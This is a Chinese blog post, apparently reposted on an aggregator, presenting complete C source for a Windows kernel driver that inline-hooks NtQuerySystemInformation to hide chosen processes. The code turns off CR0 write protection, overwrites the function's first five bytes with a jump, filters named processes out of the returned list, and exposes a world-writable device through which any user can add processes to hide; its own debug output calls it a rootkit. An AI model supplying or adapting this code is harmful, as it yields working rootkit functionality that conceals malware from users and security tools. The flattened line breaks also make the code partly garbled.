内核层 inlinehook 隐藏进程
来源:互联网 发布:mysql同时执行多条语句 编辑:程序博客网 时间:2024/06/03 22:46
上次是SSDT HOOK 方式 隐藏 进程 ,如链接:http://blog.csdn.net/hjxyshell/article/details/16993119
这次是InlineHook 方式隐藏进程,这里inline hook的原理就不做详细介绍了,网上相关资源较多,撸主主要参考看雪的某大牛的“详谈内核三步走Inline Hook实现”(http://bbs.pediy.com/showthread.php?t=98493)
中间有一些关于进程的枚举的处理,上次写了个简单的代码:http://blog.csdn.net/hjxyshell/article/details/17312119
代码如下:
#include <ntddk.h>#include <Wdmsec.h> #include <Wdm.h> //定义控制码 #define MY_DVC_IN_CODE \(ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,\0xa02,\METHOD_BUFFERED,\FILE_READ_DATA|FILE_WRITE_DATA)//隐藏进程链表相关变量//存放要隐藏进程的名字链表 typedef struct _ProcNameLink { UNICODE_STRING ProcName; struct _ProcNameLink *pNext; }ProcNameLink,*pProcNameLink;pProcNameLink pProcNameHeader; //链表头部 pProcNameLink pProcNameTail; //链表尾部 //字节型数据 unsigned chartypedef unsigned char BYTE;ULONG CR0VALUE; //设置cr0的读写标识BYTE OriginalBytes[5]={0}; //保存原始函数前五个字节 BYTE JmpAddress[5]={0xE9,0,0,0,0}; //跳转到HOOK函数的地址//进程线程 信息 结构体struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientIs; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason; }; //进程信息结构体 struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; //windows 2000 only struct _SYSTEM_THREADS Threads[1]; }; //原函数,获取进程(系统)相关信息NTSYSAPI NTSTATUS NTAPI NtQuerySystemInformation( IN ULONG SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength );NTSTATUSMyNtQuerySystemInformation(IN ULONG SystemInformationClass,OUT PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength);//改变函数前五个字节,使其跳到MyNtQuerySystemInformation函数中void HookNtQuerySystemInformation(//IN ULONG SystemInformationClass,//OUT PVOID SystemInfotmation,//IN ULONOG SystemInformatonLength,//OUT PULONG ReturnLength){//赋值前面的数组KIRQL Irql;DbgPrint("[NtQuerySystemInformation]: 0x%x",NtQuerySystemInformation);//保存原函数前5个字节RtlCopyMemory(OriginalBytes,(BYTE*)NtQuerySystemInformation,5);//保存新函数5个字节自后的偏移*(ULONG*)(JmpAddress + 1) = (ULONG)MyNtQuerySystemInformation - ((ULONG)NtQuerySystemInformation+5);//开始inline hook 即将跳转到新函数指令拷贝到原函数前5个字节//关闭内存写保护__asm{//这里只用到eax,保存eax即可push eaxmov eax,cr0mov CR0VALUE,eaxand eax,0fffeffffhmov cr0,eaxpop eax}//提升IRQL中断级(防止写的过程中出新中断,导致出错)Irql = KeRaiseIrqlToDpcLevel();//开始写函数的前5个字节(jmp 指令)RtlCopyMemory((BYTE*)NtQuerySystemInformation,JmpAddress,5);//恢复IrqlKeLowerIrql(Irql);//开启内存写保护__asm{push eaxmov eax,CR0VALUEmov cr0,eaxpop eax}}//取消inline hookvoid UnHookNtQuerySystemInformation(//IN ULONG SystemInformationClass,//OUT PVOID SystemInfotmation,//IN ULONOG SystemInformatonLength,//OUT PULONG ReturnLength){//把保存的五个字节写回原函数KIRQL Irql;//关闭写保护__asm{push eaxmov eax,cr0mov CR0VALUE,eaxand eax,0fffeffffhmov cr0,eaxpop eax}//提升IRQL 到 DpcIrql = KeRaiseIrqlToDpcLevel();RtlCopyMemory((BYTE*)NtQuerySystemInformation,OriginalBytes,5);KeLowerIrql(Irql);//开启内存写保护__asm{push eaxmov eax,CR0VALUEmov cr0,eaxpop eax}}//原函数_declspec (naked) NTSTATUS OriginalNtQuerySystemInformation(IN ULONG SystemInformationClass,OUT PVOID SystemInfotmation,IN ULONG SystemInformatonLength,OUT PULONG ReturnLength){__asm{//这里的eax不是随便使用个寄存器就行的,因为//随便使用个寄存器很可能会破坏原来的值//因为eax的值在接下来会直接被覆盖(原来的值是什么不重要了),所以这里可以使用push 210hmov eax,NtQuerySystemInformationadd eax,5jmp eax}}//MyNtQuerySystemInformation函数,再此处 进行进程隐藏处理NTSTATUSMyNtQuerySystemInformation(IN ULONG SystemInformationClass,OUT PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength){NTSTATUS ntStatus;pProcNameLink pTempLink; //进程查询时使用//DbgPrint("it's here!!!\n");//查询系统信息ntStatus = OriginalNtQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);if(NT_SUCCESS(ntStatus)){if(SystemInformationClass == 5){//获取进程信息结构for((pTempLink = pProcNameHeader->pNext)&&(pTempLink != NULL);pTempLink !=NULL;){//每次查看时 ,都从进程的列表开始查看struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;struct _SYSTEM_PROCESSES *prev = NULL;while(curr){if(curr->ProcessName.Buffer != NULL){if(0 == memcmp(curr->ProcessName.Buffer,pTempLink->ProcName.Buffer,16)) //判断是否为要隐藏的进程{//判断眼隐藏的进程在链表的那个位置if(prev) //中间或最后{if(curr->NextEntryDelta) prev->NextEntryDelta += curr->NextEntryDelta; else // 在最后 prev->NextEntryDelta = 0; }else { if(curr->NextEntryDelta) { // 要隐藏的进程在第一个 (char *)SystemInformation += curr->NextEntryDelta; } else // 只有当前一个进程 SystemInformation = NULL; } }}prev = curr; if(curr->NextEntryDelta) (char *)curr += curr->NextEntryDelta; else curr = NULL; } pTempLink = pTempLink->pNext;}}}return ntStatus;//return 1;}//向链表汇总加入新的要隐藏的进程 VOID AddProcToLink(PUNICODE_STRING ProcName) { //先判断该进程是否已存在,已存在则不添加(不判断也不影响结果) pProcNameLink pNewLink = (pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink)); //新增节点 (pNewLink->ProcName).Length = 0; (pNewLink->ProcName).MaximumLength = 256; (pNewLink->ProcName).Buffer = (PWCHAR)ExAllocatePool(NonPagedPool, 256); //新增节点 RtlCopyUnicodeString(&(pNewLink->ProcName),ProcName); //复制 pNewLink->pNext = NULL; pProcNameTail->pNext = pNewLink; pProcNameTail = pNewLink; //链表末尾 } //移除某个进程 VOID RmProcFromLink(PUNICODE_STRING pProcName) { pProcNameLink pNewLink = pProcNameHeader; if(pProcNameHeader->pNext == NULL) return; for( pNewLink;pNewLink->pNext != NULL;) { //找到,则从链表中删除 if(RtlCompareUnicodeString(&(pNewLink->pNext->ProcName),pProcName,TRUE)==0) { pNewLink->pNext = pNewLink->pNext->pNext; if(pNewLink->pNext == NULL) //链表结尾,为指针标识赋值 pProcNameTail = pNewLink; break; } pNewLink = pNewLink->pNext; //没有写在for里面是为了方便调试时下断点 } } //卸载驱动VOID OnUnload(IN PDRIVER_OBJECT driver) { UNICODE_STRING symblink_name; //c语言定义变量放在前面 DbgPrint("ROOTKIT: OnUnload called\n"); // unhook ZwQuerySystemInformation UnHookNtQuerySystemInformation(); if(IoIsWdmVersionAvailable(1,0x10)) { //支持通用版本本,则创建全局符号链接\DosDevices\Global RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL"); } else { //不支持,用\DosDevices RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL"); } IoDeleteSymbolicLink(&symblink_name ); IoDeleteDevice(driver->DeviceObject); DbgPrint("our driver is unloading ... \r\n"); } //分发函数NTSTATUS MyDispatchFunction(PDEVICE_OBJECT device, PIRP irp) { CHAR inBuffer[256]; short flag = 1; //增加链表 ANSI_STRING ansiBuffer; UNICODE_STRING unicodeBuffer; int i; //获得当前IRP调用的栈空间 PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(irp); NTSTATUS status = STATUS_INVALID_PARAMETER; memset(inBuffer,0,256); //处理各种请求 switch(irpsp->MajorFunction) { case IRP_MJ_CREATE: { //简单返回一个IRP成功三部曲 irp->IoStatus.Information = 0; irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(irp,IO_NO_INCREMENT); //应用层,打开设备后 打印此字符串,仅为测试 DbgPrint("congratulations gay,open device"); status = irp->IoStatus.Status; break; } case IRP_MJ_CLOSE: { irp->IoStatus.Information = 0; irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(irp,IO_NO_INCREMENT); //应用层,打开设备后 打印此字符串,仅为测试 DbgPrint("congratulations gay,close device"); status = irp->IoStatus.Status; break; } case IRP_MJ_DEVICE_CONTROL: { //得到功能号 ULONG code = irpsp->Parameters.DeviceIoControl.IoControlCode; //得到输入/输出缓冲区的长度 ULONG in_len = irpsp->Parameters.DeviceIoControl.InputBufferLength; ULONG out_len = irpsp->Parameters.DeviceIoControl.OutputBufferLength; //输入、输出的缓冲区是公用的内存空间的 PCHAR buffer = (PCHAR)irp->AssociatedIrp.SystemBuffer; //memcpy(inBuffer,buffer,in_len); //将短字符转化为宽字符 if(buffer[0] == '-') flag = 0; ansiBuffer.Buffer = buffer+1; ansiBuffer.Length = ansiBuffer.MaximumLength = (USHORT)(in_len -1); RtlAnsiStringToUnicodeString(&unicodeBuffer, &ansiBuffer,TRUE); if(flag) AddProcToLink(&unicodeBuffer); //将要隐藏的进程加入到链表中 else RmProcFromLink(&unicodeBuffer); DbgPrint("%ansiBuffer = %Z\n",&ansiBuffer); //注意是%Z DbgPrint("unicodeBuffer = %wZ\n",&unicodeBuffer); if(code == MY_DVC_IN_CODE) { DbgPrint("in_buffer_len = %d",in_len); DbgPrint("%s",buffer); //因为不返回信息,直接返回成功即可 //没有用到输出缓冲区 irp->IoStatus.Information = 0; irp->IoStatus.Status = STATUS_SUCCESS; } else { //控制码错误,则不接受请求,直接返回错误 //注意返回错误和返回成功的区别 irp->IoStatus.Information = 0; irp->IoStatus.Status = STATUS_INVALID_PARAMETER; } IoCompleteRequest(irp,IO_NO_INCREMENT); status = irp->IoStatus.Status; break; } case IRP_MJ_READ: { break; } default: { DbgPrint("unknow request!!!"); break; } } return status; } //驱动入口函数NTSTATUS DriverEntry(IN PDRIVER_OBJECT driver, IN PUNICODE_STRING reg_path) {ULONG i; NTSTATUS status; PDEVICE_OBJECT device; //设备名 UNICODE_STRING device_name = RTL_CONSTANT_STRING(L"\\Device\\test"); //符号连接名 UNICODE_STRING symblink_name; //随手写一个GUID static const GUID MYGUID_CLASS_MYCDO = { 0x63542127, 0xfbbb, 0x49c8, { 0x8b, 0xf4, 0x8b, 0x7c, 0xb5, 0xef, 0xd3, 0x9e } }; //static const GUID DECLSPEC_SELECTANY MYGUID_CLASS_MYCDO = //{ 0x8524767, 0x32fe, 0x4d86, { 0x9f, 0x48, 0xa0, 0x26, 0x94, 0xec, 0x71, 0x42 } }; //全用户可读权限、写权限 UNICODE_STRING sdd1=RTL_CONSTANT_STRING(L"D:P(A;;GA;;;WD)"); //初始化第一个结构体 pProcNameHeader =(pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink)); pProcNameHeader->pNext = NULL; pProcNameTail = pProcNameHeader; //RtlInitUnicodeString(&(pProcNameHeader->ProcName),L""); //_asm int 3 //生成设备 status = IoCreateDeviceSecure( driver, 0, &device_name, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &sdd1, (LPCGUID)&MYGUID_CLASS_MYCDO, &device ); if(!NT_SUCCESS(status)) { DbgPrint("IoCreateDeviceSecure failed "); return status; } DbgPrint("good job1"); //创建符号链接 if(IoIsWdmVersionAvailable(1,0x10)) { //支持通用版本本,则创建全局符号链接\DosDevices\Global RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL"); } else { //不支持,用\DosDevices RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL"); } status = IoCreateSymbolicLink(&symblink_name,&device_name); if(!NT_SUCCESS(status)) { DbgPrint("IoCreateSymbolicLink failed"); return status; } DbgPrint("good job2"); //初始化驱动处理 for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++) { driver->MajorFunction[i] = MyDispatchFunction; } // save old system call locations //OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)); // Register a dispatch function for Unload driver->DriverUnload = OnUnload; // inline hook HookNtQuerySystemInformation(); return STATUS_SUCCESS; }说明:
_declspec (naked) NTSTATUS OriginalNtQuerySystemInformation 函数中的寄存器不是随便使用的,正如代码中注释所述一样,这里使用eax,因为eax的值会被直接覆盖,对后续程序并无影响
如图:
驱动安装运行后,在查看函数NtQuerySystemInformation,已经被我们掌控
0 0
- 内核层 inlinehook 隐藏进程
- 内核层 inlinehook 隐藏进程
- 内核隐藏进程
- inlineHook
- 驱动层SSDT 隐藏进程
- 内核hook NtQuerySystemInformation隐藏进程
- 内核隐藏进程(源码)
- 内核所有模块导出函数inlinehook检测
- win8应用层进程隐藏工具
- Windows2000 内核级进程隐藏、侦测技术
- Windows2000 内核级进程隐藏、侦测技术
- Windows2000 内核级进程隐藏、侦测技术
- Windows2000 内核级进程隐藏、侦测技术
- Windows2000 内核级进程隐藏、侦测技术
- 直接修改内核对象隐藏进程
- 在windows内核模式下隐藏进程
- 内核层的进程机构--KPROCESS
- Win64 驱动内核编程-23.Ring0 InLineHook 和UnHook
- 进度追回的办法
- 理解 chroot
- CSS复习一
- cocos2d-x-2.2.1的ccs绑定完结(gui+scene+armature)
- 线上应用故障排查之一:高CPU占用
- 内核层 inlinehook 隐藏进程
- hive使用本地模式
- Dom
- 权限管理——基于角色的访问
- 第八章 指针
- 软工总结
- 如何分析解决Android ANR
- MSDN: Render Targets, Devices, and Resources什么是渲染目标,设备和资源
- 123